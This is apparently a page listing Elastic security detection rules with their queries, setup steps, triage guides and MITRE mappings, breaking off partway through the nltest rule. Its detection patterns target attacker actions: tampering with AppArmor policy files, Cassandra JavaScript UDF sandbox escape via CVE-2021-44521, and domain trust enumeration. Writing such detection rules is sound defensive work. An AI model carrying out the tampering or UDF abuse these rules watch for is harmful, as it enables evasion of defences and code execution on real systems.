Detection rules › Elastic
Elastic rules: 0c
AppArmor Policy Interface Access
#Identifies access to AppArmor kernel policy control interfaces through the .load, .replace, or .remove files under /sys/kernel/security/apparmor/. These special files are used to load, modify, or remove AppArmor profiles and are rarely accessed during normal system activity outside of policy administration. Reads or writes to these interfaces may indicate legitimate security configuration changes, but can also reflect defense evasion, unauthorized policy tampering, or the installation of attacker-controlled profiles. This detection is especially valuable on systems where AppArmor policy changes are uncommon or tightly controlled.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Defense Impairment |
Rule Body
[metadata]
creation_date = "2026/03/20"
integration = ["auditd_manager"]
maturity = "production"
updated_date = "2026/03/20"
[rule]
author = ["Elastic"]
description = """
Identifies access to AppArmor kernel policy control interfaces through the .load, .replace, or .remove files under
/sys/kernel/security/apparmor/. These special files are used to load, modify, or remove AppArmor profiles and are
rarely accessed during normal system activity outside of policy administration. Reads or writes to these interfaces
may indicate legitimate security configuration changes, but can also reflect defense evasion, unauthorized policy
tampering, or the installation of attacker-controlled profiles. This detection is especially valuable on systems
where AppArmor policy changes are uncommon or tightly controlled.
"""
from = "now-9m"
index = [
"logs-auditd_manager.auditd-*",
"auditbeat-*",
]
language = "eql"
license = "Elastic License v2"
name = "AppArmor Policy Interface Access"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating AppArmor Policy Interface Access
This rule detects reads, writes, or deletions against the Linux AppArmor policy control files that load, replace, or remove profiles, actions that directly change how the kernel restricts processes. That matters because unauthorized access to these interfaces can disable enforcement or install permissive rules that hide malicious activity; for example, an intruder with elevated privileges might replace a profile protecting a web server so a dropped backdoor can run and touch sensitive files without confinement.
### Possible investigation steps
- Determine whether the access coincides with an approved AppArmor administration task by validating the initiating account, privilege escalation history, maintenance windows, and any related change or deployment records for the host.
- Review the full execution lineage around the event to confirm whether the interface was touched by expected policy management activity such as package updates or configuration automation versus an interactive shell, ad hoc script, or remote session.
- Inspect recent changes to AppArmor profile files and deployment artifacts under standard policy locations to identify which profile was loaded, replaced, or removed and whether the resulting policy became weaker or disabled confinement for sensitive services.
- Correlate the activity with nearby authentication, sudo, process execution, and network events on the same system to assess whether the policy modification was part of normal administration or followed potentially malicious hands-on-keyboard behavior.
- If the change is not authorized, preserve the modified policy artifacts and relevant host evidence, then restore known-good AppArmor profiles from a trusted source and verify enforcement is active to prevent further defense evasion.
### False positive analysis
- Approved system maintenance such as package updates, service installation, or boot-time policy initialization can legitimately access AppArmor `.load` or `.replace`, so verify the parent process and command line map to expected package management or startup activity during a documented change window.
- An administrator may manually reload, replace, or remove an AppArmor profile while troubleshooting or deploying a local service, so confirm the initiating user, any `sudo` or privileged session history, and recent edits to AppArmor profile files align with an authorized operational task.
### Response and remediation
- Isolate the affected Linux host from the network while preserving forensic access, terminate the process or shell session that wrote to `/sys/kernel/security/apparmor/.load`, `.replace`, or `.remove`, and disable the originating account’s privileged access until the scope is understood.
- Collect and review the active AppArmor state and on-disk profiles from `/etc/apparmor.d/`, recent shell history, sudo activity, and any scripts or package hooks involved, then remove attacker-added profiles and reverse any profile changes that weakened or removed confinement.
- Hunt for and delete persistence that relied on the AppArmor change, including malicious systemd units, cron entries, startup scripts, modified container launch settings, or dropped binaries that were able to run only after the profile was replaced or removed.
- Restore the system to a known-good state by reinstalling trusted AppArmor policy packages or redeploying validated profiles from source control, reloading them with approved tools, and rebuilding the host from a clean image if root access or core security files were modified.
- Escalate to incident response immediately if the tampered profile protected an internet-facing service, credential store, or security tool, if the same behavior is seen on multiple hosts, or if the attacker also changed sudoers, SSH access, or other local security controls.
- Harden the environment by restricting who can administer AppArmor, requiring signed or change-controlled profile updates, alerting on future writes to the AppArmor policy interfaces, and validating that critical services remain in enforce mode after patching or deployment."""
references = [
"https://cdn2.qualys.com/advisory/2026/03/10/crack-armor.txt",
"https://blog.qualys.com/vulnerabilities-threat-research/2026/03/12/crackarmor-critical-apparmor-flaws-enable-local-privilege-escalation-to-root",
]
risk_score = 21
rule_id = "d32f0c27-8edb-4bcf-975e-01696c961e08"
setup = """## Setup
This rule requires the use of the `auditd_manager` integration. `Auditd_manager` is a tool designed to simplify and enhance the management of the audit subsystem in Linux systems. It provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. The following steps should be executed in order to install and deploy `auditd_manager` on a Linux system.
```
Kibana -->
Management -->
Integrations -->
Auditd Manager -->
Add Auditd Manager
```
`Auditd_manager` subscribes to the kernel and receives events as they occur without any additional configuration. However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from.
For this detection rule to trigger, the following additional audit rules are required to be added to the integration:
```
-w /sys/kernel/security/apparmor/.load -p rw -k apparmor_policy_change
-w /sys/kernel/security/apparmor/.replace -p rw -k apparmor_policy_change
-w /sys/kernel/security/apparmor/.remove -p rw -k apparmor_policy_change
```
Add the newly installed `auditd manager` to an agent policy, and deploy the agent on a Linux system from which auditd log files are desirable.
"""
severity = "low"
tags = [
"Domain: Endpoint",
"OS: Linux",
"Use Case: Threat Detection",
"Tactic: Defense Evasion",
"Data Source: Auditd Manager",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
file where host.os.type == "linux" and event.action in ("opened-file", "wrote-to-file", "deleted") and
file.path in (
"/sys/kernel/security/apparmor/.load", ".load",
"/sys/kernel/security/apparmor/.replace", ".replace",
"/sys/kernel/security/apparmor/.remove", ".remove"
)
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1562"
name = "Impair Defenses"
reference = "https://attack.mitre.org/techniques/T1562/"
[[rule.threat.technique.subtechnique]]
id = "T1562.001"
name = "Disable or Modify Tools"
reference = "https://attack.mitre.org/techniques/T1562/001/"
[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
Stages and Predicates
Stage 1: file
file where host.os.type == "linux" and event.action in ("opened-file", "wrote-to-file", "deleted") and
file.path in (
"/sys/kernel/security/apparmor/.load", ".load",
"/sys/kernel/security/apparmor/.replace", ".replace",
"/sys/kernel/security/apparmor/.remove", ".remove"
)
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.action | in |
| field:"EventType" kind:in |
file.path | in |
| field:"TargetFilename" kind:in |
AWS Sign-In Console Login with Federated User
#Identifies when a federated user logs into the AWS Management Console. Federated users are typically given temporary credentials to access AWS services. If a federated user logs into the AWS Management Console without using MFA, it may indicate a security risk, as MFA adds an additional layer of security to the authentication process. However, CloudTrail does not record whether a Federated User utilized MFA as part of authentication — that MFA decision often occurs at a third-party IdP (e.g., Okta, Azure AD, Google). As a result, CloudTrail fields such as MFAUsed / mfaAuthenticated appear as “No/false” for federated console logins even if IdP MFA was required. This alert should be correlated with IdP authentication logs to verify whether MFA was enforced for the session. Increase priority if you find a related "GetSigninToken" event whose source IP / ASN / geo or user-agent differs from the subsequent "ConsoleLogin" (possible token relay/abuse). Same-IP/UA pairs within a short window are more consistent with expected operator behavior and can be triaged with lower severity.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Initial Access |
Telemetry Coverage
Rules Detecting the Same Action
These rules filter on the same operation.
- AWS Authentication From CrowdStrike Unmanaged Device (Panther)
- AWS Authentication from CrowdStrike Unmanaged Device (Panther)
- AWS Authentication from CrowdStrike Unmanaged Device (crowdstrike_fdrevent table) (Panther)
- AWS EC2 Instance Console Login via Assumed Role (Elastic)
- AWS GetFederationToken Followed by Console Login via Federation Exchange (Elastic)
- AWS IAM User Console Login from Multiple Geolocations (Elastic)
- AWS IAM User Console Login Without MFA (Elastic)
- AWS Management Console Brute Force of Root User Identity (Elastic)
Rule Body
[metadata]
creation_date = "2024/08/19"
integration = ["aws"]
maturity = "production"
updated_date = "2026/04/10"
[rule]
author = ["Elastic"]
description = """
Identifies when a federated user logs into the AWS Management Console. Federated users are typically given temporary
credentials to access AWS services. If a federated user logs into the AWS Management Console without using MFA, it may
indicate a security risk, as MFA adds an additional layer of security to the authentication process. However, CloudTrail
does not record whether a Federated User utilized MFA as part of authentication — that MFA decision often occurs at a
third-party IdP (e.g., Okta, Azure AD, Google). As a result, CloudTrail fields such as MFAUsed / mfaAuthenticated appear
as “No/false” for federated console logins even if IdP MFA was required. This alert should be correlated with IdP
authentication logs to verify whether MFA was enforced for the session. Increase priority if you find a related
"GetSigninToken" event whose source IP / ASN / geo or user-agent differs from the subsequent "ConsoleLogin" (possible
token relay/abuse). Same-IP/UA pairs within a short window are more consistent with expected operator behavior and can
be triaged with lower severity.
"""
from = "now-6m"
index = ["filebeat-*", "logs-aws.cloudtrail-*"]
language = "kuery"
license = "Elastic License v2"
name = "AWS Sign-In Console Login with Federated User"
note = """## Triage and analysis
### Investigating AWS Sign-In Console Login with Federated User
Federated users in AWS are granted temporary credentials to access resources, often without the need for a permanent account. This setup is convenient but can be risky if not properly secured with multi-factor authentication (MFA). Adversaries might exploit this by using stolen or misconfigured credentials to gain unauthorized access. CloudTrail alone cannot reliably indicate MFA usage for federated logins. This rule surfaces potentially risky access for analyst review and IdP correlation.
### Possible investigation steps
- **Identify the prinicipal involved**
- `aws.cloudtrail.user_identity.arn` (federated session ARN)
- `aws.cloudtrail.user_identity.session_context.session_issuer.*` (role ARN/name, account) of the identity that created the federated session.
- Find the corresponding IdP login around the same time and verify MFA was required and passed. If IdP shows **no MFA**, raise severity.
- **Investigate the source context**
- examine `source.ip`, ASN, `geo` fields, and `user_agent.original`
- Compare against normal IP ranges, known user-agents and expected locations for this identity
- **Federation token pivot:** Look for a nearby `signin.amazonaws.com` `GetSigninToken` API call.
- **More suspicious:** token creation and console login from different public IPs/ASNs/geo fields.
- **Less suspicious:** same IP and expected user agents within ~10–15 minutes (typical operator behavior).
- **Rareness/anomaly signals:** new/rare role or session issuer, rare source IP/ASN/geo, unusual time-of-day, multiple ConsoleLogin events from disparate networks in a short window.
- Review recent activity associated with the federated user to identify any unusual or unauthorized actions that may have occurred following the login event.
- Assess the configuration and policies of the Identity Provider (IdP) used for federated access to ensure MFA is enforced and properly configured for all users.
### False positive analysis
- Organizations using SSO for console access will routinely see federated `ConsoleLogin` where CloudTrail shows `MFAUsed: "No"` — this is expected due to IdP-side MFA.
- Internal tools/automation that create federation links (`GetSigninToken`) for operators.
- Maintain allow-lists for corp/VPN CIDRs, approved ASNs, and known automation user-agents.
### Response and remediation
- If IdP confirms MFA and the source context is expected: document and close.
- If IdP shows no MFA or context is suspicious:
- Notify the security team and relevant stakeholders about the potential security breach to ensure coordinated response efforts.
- Disable/lock the IdP account pending review; invalidate IdP sessions if supported.
- Temporarily restrict access (e.g., SCPs, session policies, IP-based conditions).
- Conduct a thorough review of AWS CloudTrail logs to identify any suspicious activities or unauthorized access attempts associated with both the intitiating user and the federated user account.
- Hunt for a preceding `GetSigninToken` from a different IP/ASN/UA (possible token relay).
- Ensure IdP policy enforces MFA for AWS app access; re-verify role trust and least-privilege policies.
- Implement or enforce multi-factor authentication (MFA) for all federated user accounts to enhance security and prevent similar incidents in the future.
- Review and update IAM policies and roles associated with federated users to ensure they follow the principle of least privilege.
"""
references = ["https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/"]
risk_score = 47
rule_id = "1f45720e-5ea8-11ef-90d2-f661ea17fbce"
severity = "medium"
tags = [
"Domain: Cloud",
"Data Source: Amazon Web Services",
"Data Source: AWS",
"Data Source: AWS Sign-In",
"Use Case: Identity and Access Audit",
"Tactic: Initial Access",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "query"
query = '''
data_stream.dataset: "aws.cloudtrail" and
event.provider: "signin.amazonaws.com" and
event.action : "ConsoleLogin" and
aws.cloudtrail.user_identity.type: "FederatedUser" and
event.outcome: "success"
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1078"
name = "Valid Accounts"
reference = "https://attack.mitre.org/techniques/T1078/"
[[rule.threat.technique.subtechnique]]
id = "T1078.004"
name = "Cloud Accounts"
reference = "https://attack.mitre.org/techniques/T1078/004/"
[rule.threat.tactic]
id = "TA0001"
name = "Initial Access"
reference = "https://attack.mitre.org/tactics/TA0001/"
[rule.investigation_fields]
field_names = [
"@timestamp",
"user.name",
"user_agent.original",
"source.ip",
"aws.cloudtrail.user_identity.arn",
"aws.cloudtrail.user_identity.type",
"aws.cloudtrail.user_identity.session_context.session_issuer.arn",
"aws.cloudtrail.user_identity.session_context.session_issuer.type",
"aws.cloudtrail.user_identity.access_key_id",
"event.action",
"event.outcome",
"cloud.account.id",
"cloud.region",
]
Stages and Predicates
Stage 1: query
data_stream.dataset: "aws.cloudtrail" and
event.provider: "signin.amazonaws.com" and
event.action : "ConsoleLogin" and
aws.cloudtrail.user_identity.type: "FederatedUser" and
event.outcome: "success"
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
aws.cloudtrail.user_identity.type | eq |
| field:"aws::userIdentity.type" kind:eq value:"FederatedUser" |
data_stream.dataset | eq |
| field:"data_stream.dataset" kind:eq value:"aws.cloudtrail" |
event.action | eq |
| field:"EventType" kind:eq value:"ConsoleLogin" |
event.outcome | eq |
| field:"event.outcome" kind:eq value:"success" |
event.provider | eq |
| field:"Provider_Name" kind:eq value:"signin.amazonaws.com" |
Cassandra JavaScript UDF Creation
#Identifies Cassandra Query Language statements that create a JavaScript user-defined function. On vulnerable and dangerously configured Cassandra servers, adversaries can abuse scripted UDF creation to escape the JavaScript sandbox and execute operating-system commands, including through CVE-2021-44521.
Known False Positives
- Developers or database administrators may deploy approved JavaScript UDFs in environments where scripted functions are intentionally enabled. Validate the function body, client address, Cassandra version, configuration, and change window before escalating.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Execution |
Rule Body
[metadata]
creation_date = "2026/07/30"
integration = ["network_traffic"]
maturity = "production"
updated_date = "2026/07/30"
[rule]
author = ["Elastic"]
description = """
Identifies Cassandra Query Language statements that create a JavaScript user-defined function. On vulnerable and
dangerously configured Cassandra servers, adversaries can abuse scripted UDF creation to escape the JavaScript sandbox
and execute operating-system commands, including through CVE-2021-44521.
"""
false_positives = [
"""
Developers or database administrators may deploy approved JavaScript UDFs in environments where scripted functions
are intentionally enabled. Validate the function body, client address, Cassandra version, configuration, and change
window before escalating.
""",
]
from = "now-9m"
index = ["logs-network_traffic.cassandra-*"]
language = "eql"
license = "Elastic License v2"
name = "Cassandra JavaScript UDF Creation"
note = """## Triage and analysis
### Investigating Cassandra JavaScript UDF Creation
CVE-2021-44521 allows a JavaScript UDF to escape the Nashorn sandbox when Cassandra is vulnerable and scripted UDFs are enabled with unsafe thread settings. Even on patched systems, JavaScript UDF creation is a sensitive control-plane operation that should be rare and restricted to approved administrators.
### Possible investigation steps
- Review `client.ip`, `server.ip`, `network.community_id`, and `network_traffic.cassandra.request.query`.
- Extract the function name, keyspace, declared language, and function body.
- Look for Java interoperability, reflection, process execution, class loading, file access, or network-access strings in the UDF body.
- Confirm the Cassandra version and the values of `enable_user_defined_functions`, `enable_scripted_user_defined_functions`, and `enable_user_defined_functions_threads`.
- Correlate with Cassandra audit logs and endpoint telemetry for child processes, file creation, or outbound connections from the Cassandra service.
### False positive analysis
- Approved application deployments may create JavaScript UDFs, though this should be uncommon.
- Scope exceptions to known deployment clients and reviewed function definitions rather than excluding UDF creation globally.
### Response and remediation
- Terminate unauthorized sessions and isolate the Cassandra node if code execution is suspected.
- Disable scripted UDFs where they are not required and upgrade Cassandra to a version that fixes CVE-2021-44521.
- Remove unauthorized functions, rotate affected credentials, and review role permissions and cluster-wide activity.
"""
references = [
"https://jfrog.com/blog/cve-2021-44521-exploiting-apache-cassandra-user-defined-functions-for-remote-code-execution/",
"https://nvd.nist.gov/vuln/detail/CVE-2021-44521",
"https://attack.mitre.org/techniques/T1059/007/",
]
risk_score = 73
rule_id = "b3e2c2ad-9a81-4638-bf12-7ca2feed66a2"
setup = """## Setup
This rule requires the Elastic Network Packet Capture integration with the Cassandra protocol analyzer enabled and
cleartext visibility into native CQL traffic. Prepared statements expose query text during `PREPARE`, while later
`EXECUTE` frames may not repeat it. TLS-encrypted traffic is opaque. Use Cassandra audit logs and endpoint telemetry to
confirm the database identity and execution outcome.
"""
severity = "high"
tags = [
"Domain: Network",
"Use Case: Network Security Monitoring",
"Use Case: Threat Detection",
"Use Case: Vulnerability",
"Tactic: Execution",
"Data Source: Network Packet Capture",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
any where data_stream.dataset == "network_traffic.cassandra" and
network_traffic.cassandra.request.query like~ "*create*function*" and
network_traffic.cassandra.request.query like~ "*language*javascript*"
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"
[[rule.threat.technique.subtechnique]]
id = "T1059.007"
name = "JavaScript"
reference = "https://attack.mitre.org/techniques/T1059/007/"
[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
Stages and Predicates
Stage 1: any
any where data_stream.dataset == "network_traffic.cassandra" and
network_traffic.cassandra.request.query like~ "*create*function*" and
network_traffic.cassandra.request.query like~ "*language*javascript*"
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
data_stream.dataset | eq |
| field:"data_stream.dataset" kind:eq value:"network_traffic.cassandra" |
network_traffic.cassandra.request.query | wildcard |
| field:"network_traffic.cassandra.request.query" kind:wildcard |
Decline in host-based traffic
#A machine learning job has detected a sudden drop in host based traffic. This can be due to a range of security issues, such as a compromised system, a failed service, or a network misconfiguration.
Known False Positives
- Legitimate causes such as system maintenance, server shutdowns, or temporary network outages may trigger this alert.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Defense Impairment | |
| Impact |
Rule Body
[metadata]
creation_date = "2025/02/18"
integration = ["auditd_manager", "endpoint", "system", "windows"]
maturity = "production"
min_stack_version = "9.4.0"
min_stack_comments = "Use EA (Entity Analytics) fields"
updated_date = "2026/07/27"
[rule]
anomaly_threshold = 75
author = ["Elastic"]
description = """
A machine learning job has detected a sudden drop in host based traffic. This can be due to a range of security issues, such as a compromised system,
a failed service, or a network misconfiguration.
"""
false_positives = [
"""
Legitimate causes such as system maintenance, server shutdowns, or temporary network outages may trigger this alert.
""",
]
from = "now-45m"
interval = "5m"
license = "Elastic License v2"
machine_learning_job_id = "low_count_events_for_a_host_name_ea"
name = "Decline in host-based traffic"
setup = """## Setup
This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations:
- Elastic Defend
- Auditd Manager
- System
- Windows
### Anomaly Detection Setup
Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the [helper guide](https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html).
### Elastic Defend Integration Setup
Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.
#### Prerequisite Requirements:
- Fleet is required for Elastic Defend.
- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).
#### The following steps should be executed in order to add the Elastic Defend integration to your system:
- Go to the Kibana home page and click "Add integrations".
- In the query bar, search for "Elastic Defend" and select the integration to see more details about it.
- Click "Add Elastic Defend".
- Configure the integration name and optionally add a description.
- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads".
- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).
- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions"
- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead.
For more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/current/agent-policy.html).
- Click "Save and Continue".
- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts.
For more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).
### Auditd Manager Integration Setup
The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel.
Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system.
#### The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" to your system:
- Go to the Kibana home page and click “Add integrations”.
- In the query bar, search for “Auditd Manager” and select the integration to see more details about it.
- Click “Add Auditd Manager”.
- Configure the integration name and optionally add a description.
- Review optional and advanced settings accordingly.
- Add the newly installed “auditd manager” to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable.
- Click “Save and Continue”.
- For more details on the integration refer to the [helper guide](https://docs.elastic.co/integrations/auditd_manager).
#### Rule Specific Setup Note
Auditd Manager subscribes to the kernel and receives events as they occur without any additional configuration.
However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from.
- For this detection rule no additional audit rules are required.
### System Integration Setup
The System integration allows you to collect system logs and metrics from your servers with Elastic Agent.
#### The following steps should be executed in order to add the Elastic Agent System integration "system" to your system:
- Go to the Kibana home page and click “Add integrations”.
- In the query bar, search for “System” and select the integration to see more details about it.
- Click “Add System”.
- Configure the integration name and optionally add a description.
- Review optional and advanced settings accordingly.
- Add the newly installed “system” to an existing or a new agent policy, and deploy the agent on your system from which system log files are desirable.
- Click “Save and Continue”.
- For more details on the integration refer to the [helper guide](https://docs.elastic.co/integrations/system).
### Windows Integration Setup
The Windows integration allows you to monitor the Windows OS, services, applications, and more.
#### The following steps should be executed in order to add the Elastic Agent System integration "windows" to your system:
- Go to the Kibana home page and click “Add integrations”.
- In the query bar, search for “Windows” and select the integration to see more details about it.
- Click “Add Windows”.
- Configure the integration name and optionally add a description.
- Review optional and advanced settings accordingly.
- Add the newly installed “windows” to an existing or a new agent policy, and deploy the agent on your system from which windows log files are desirable.
- Click “Save and Continue”.
- For more details on the integration refer to the [helper guide](https://docs.elastic.co/integrations/windows).
"""
references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"]
risk_score = 21
rule_id = "ad66db2e-1cc7-4a2c-8fa5-5f3895e44a18"
severity = "low"
tags = [
"Data Source: Elastic Defend",
"Data Source: Auditd Manager",
"Data Source: Windows Security Event Logs",
"Use Case: Threat Detection",
"Rule Type: ML",
"Rule Type: Machine Learning",
"Resources: Investigation Guide",
]
type = "machine_learning"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Decline in host-based traffic
Host-based traffic monitoring is crucial for identifying anomalies in network activity. A sudden drop in traffic can indicate issues like system compromise, service failure, or misconfiguration. Adversaries might exploit these situations to evade detection or disrupt services. The 'Decline in host-based traffic' rule leverages machine learning to identify unexpected traffic reductions, signaling potential security threats for further investigation.
### Possible investigation steps
- Review the affected host's recent activity logs to identify any unusual patterns or events that coincide with the drop in traffic.
- Check for any recent changes in network configuration or firewall settings that might have inadvertently caused the traffic decline.
- Investigate the status of critical services on the host to determine if any have failed or been stopped unexpectedly.
- Analyze network traffic data to identify any potential signs of compromise, such as connections to known malicious IP addresses or unusual outbound traffic.
- Consult with system administrators to verify if any maintenance or updates were performed around the time of the traffic drop that could explain the anomaly.
### False positive analysis
- Scheduled maintenance or updates can cause temporary drops in host-based traffic. Users should create exceptions for known maintenance windows to prevent false alerts.
- Network configuration changes, such as firewall rule updates or routing adjustments, might lead to expected traffic reductions. Document and exclude these changes from triggering alerts.
- Temporary service outages due to non-security related issues, like hardware failures or software bugs, can be mistaken for threats. Implement monitoring to distinguish between these and actual security incidents.
- Low-usage periods, such as weekends or holidays, may naturally result in reduced traffic. Adjust the machine learning model to account for these patterns by incorporating historical data.
- Legitimate changes in user behavior, such as remote work policies or shifts in business operations, can affect traffic levels. Regularly update the model to reflect these changes and avoid false positives.
### Response and remediation
- Isolate the affected host from the network to prevent potential lateral movement or further compromise.
- Verify the integrity and functionality of critical services on the affected host to identify any failures or misconfigurations.
- Conduct a thorough malware scan on the isolated host to detect and remove any malicious software.
- Review recent configuration changes on the host and revert any unauthorized or suspicious modifications.
- Restore any affected services from known good backups if service failure is confirmed as the cause.
- Monitor network traffic for any signs of unusual activity or attempts to exploit the situation further.
- Escalate the incident to the security operations team for a deeper forensic analysis and to determine if additional hosts are affected."""
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1562"
name = "Impair Defenses"
reference = "https://attack.mitre.org/techniques/T1562/"
[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1489"
name = "Service Stop"
reference = "https://attack.mitre.org/techniques/T1489/"
[[rule.threat.technique]]
id = "T1499"
name = "Endpoint Denial of Service"
reference = "https://attack.mitre.org/techniques/T1499/"
[rule.threat.tactic]
id = "TA0040"
name = "Impact"
reference = "https://attack.mitre.org/tactics/TA0040/"
Enumerating Domain Trusts via NLTEST.EXE
#Identifies the use of nltest.exe for domain trust discovery purposes. Adversaries may use this command-line utility to enumerate domain trusts and gain insight into trust relationships, as well as the state of Domain Controller (DC) replication in a Microsoft Windows NT Domain.
Known False Positives
- Domain administrators may use this command-line utility for legitimate information gathering purposes, but it is not common for environments with Windows Server 2012 and newer.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Discovery |
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| Sysmon | Event ID 1: Process creation |
| Security-Auditing | Event ID 4688: A new process has been created. |
Rule Body
[metadata]
creation_date = "2022/05/31"
integration = ["endpoint", "windows", "system", "m365_defender", "crowdstrike"]
maturity = "production"
updated_date = "2026/05/04"
[rule]
author = ["Elastic"]
description = """
Identifies the use of nltest.exe for domain trust discovery purposes. Adversaries may use this command-line utility to
enumerate domain trusts and gain insight into trust relationships, as well as the state of Domain Controller (DC)
replication in a Microsoft Windows NT Domain.
"""
false_positives = [
"""
Domain administrators may use this command-line utility for legitimate information gathering purposes, but it is not
common for environments with Windows Server 2012 and newer.
""",
]
from = "now-9m"
index = [
"endgame-*",
"logs-crowdstrike.fdr*",
"logs-endpoint.events.process-*",
"logs-m365_defender.event-*",
"logs-system.security*",
"logs-windows.forwarded*",
"logs-windows.sysmon_operational-*",
"winlogbeat-*",
]
language = "eql"
license = "Elastic License v2"
name = "Enumerating Domain Trusts via NLTEST.EXE"
note = """## Triage and analysis
### Investigating Enumerating Domain Trusts via NLTEST.EXE
Active Directory (AD) domain trusts define relationships between domains within a Windows AD environment. In this setup, a "trusting" domain permits users from a "trusted" domain to access resources. These trust relationships can be configurable as one-way, two-way, transitive, or non-transitive, enabling controlled access and resource sharing across domains.
This rule identifies the usage of the `nltest.exe` utility to enumerate domain trusts. Attackers can use this information to enable the next actions in a target environment, such as lateral movement.
#### Possible investigation steps
- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures.
- Identify the user account that performed the action and whether it should perform this kind of action.
- Investigate other alerts associated with the user/host during the past 48 hours.
### False positive analysis
- Discovery activities are not inherently malicious if they occur in isolation and are done within the user business context (e.g., an administrator in this context). As long as the analyst did not identify suspicious activity related to the user or host, such alerts can be dismissed.
### Related rules
- Enumerating Domain Trusts via DSQUERY.EXE - 06a7a03c-c735-47a6-a313-51c354aef6c3
### Response and remediation
- Initiate the incident response process based on the outcome of the triage.
- Isolate the involved hosts to prevent further post-compromise behavior.
- Restrict PowerShell usage outside of IT and engineering business units using GPOs, AppLocker, Intune, or similar software.
- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.
- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components.
- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
"""
setup = """## Setup
This rule is designed for data generated by [Elastic Defend](https://www.elastic.co/security/endpoint-security), which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules.
Setup instructions: https://ela.st/install-elastic-defend
### Additional data sources
This rule also supports the following third-party data sources. For setup instructions, refer to the links below:
- [CrowdStrike](https://ela.st/crowdstrike-integration)
- [Microsoft Defender XDR](https://ela.st/m365-defender)
- [Sysmon Event ID 1 - Process Creation](https://ela.st/sysmon-event-1-setup)
- [Windows Process Creation Logs](https://ela.st/audit-process-creation)
"""
references = [
"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)",
"https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/",
]
risk_score = 21
rule_id = "84da2554-e12a-11ec-b896-f661ea17fbcd"
severity = "low"
tags = [
"Domain: Endpoint",
"OS: Windows",
